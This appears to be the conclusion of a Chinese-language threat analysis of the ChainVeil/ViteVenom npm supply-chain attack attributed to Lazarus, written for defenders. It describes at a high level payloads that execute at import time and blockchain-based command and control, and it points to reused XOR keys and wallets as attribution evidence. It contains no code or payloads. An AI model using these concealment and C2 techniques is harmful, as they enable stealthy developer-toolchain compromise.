ChainVeil / ViteVenom 攻击标志着 npm 供应链攻击进入"国家级 APT + 区块链基础设施"的新阶段。三点核心启示:

第一,"无 install 脚本 = 安全"的假设已被彻底击穿。 传统检测工具长期把重心放在 preinstall/postinstall 钩子上,而本攻击将载荷藏于包入口文件、在 Import 时执行,使整整一代扫描器沦为摆设。防御方必须将检测范围从"install 时执行"扩展到"Import 时执行"——任何包的 main 入口都应接受静态分析与沙箱行为检测。

第二,区块链 C2 把"抗关停"推向了新高度。 攻击者不再依赖可被封禁的域名或 IP,而是把指令刻在公链共识数据中。这意味着"封 IP"这一传统应急手段对区块链 C2 几乎无效。防守方必须学会"链上威胁情报"——监控攻击者钱包的活动、在出站流量中检测区块链 RPC 调用、把链上地址作为一等 IoC 纳入 SIEM。本次分析中 TRON 钱包历史追溯到 2025 年 6 月,恰恰说明链上数据是攻击者无法抹除的"犯罪现场",反而为溯源提供了比传统基础设施更可靠的证据。

第三,归属靠的是工程化指纹,而非单点猜测。 五组字节级重合指纹(XOR 密钥 ×3、TRON 钱包 ×2、Aptos 地址 ×1)加上 Campaign Marker 体系与时间线佐证,构成了多维证据矩阵。其中 128 比特 XOR 密钥跨活动完全一致,在统计上排除了巧合。这提示防御方:APT 组织的"代码复用"习惯是其阿喀琉斯之踵,建立跨活动的 IoC 关联图谱(密钥复用、混淆种子复用、钱包复用)是高质量归属分析的关键。

Lazarus 通过 PolinRider 把 Contagious Interview 的载荷引擎从"一对一钓鱼"升级为"一对多投毒",受害面从个别开发者扩展到整个前端生态。对 DevSecOps 工程师而言,这不是又一起"npm 投毒"——这是一次国家级 APT 对开发者工具链的定向渗透,防御标准必须随之升级。


本文 IoC 与技术细节基于 OpenSourceMalware 2026-07-17 归属报告与样本逆向分析整理。攻击者可能持续演化载荷与基础设施,请以最新威胁情报为准。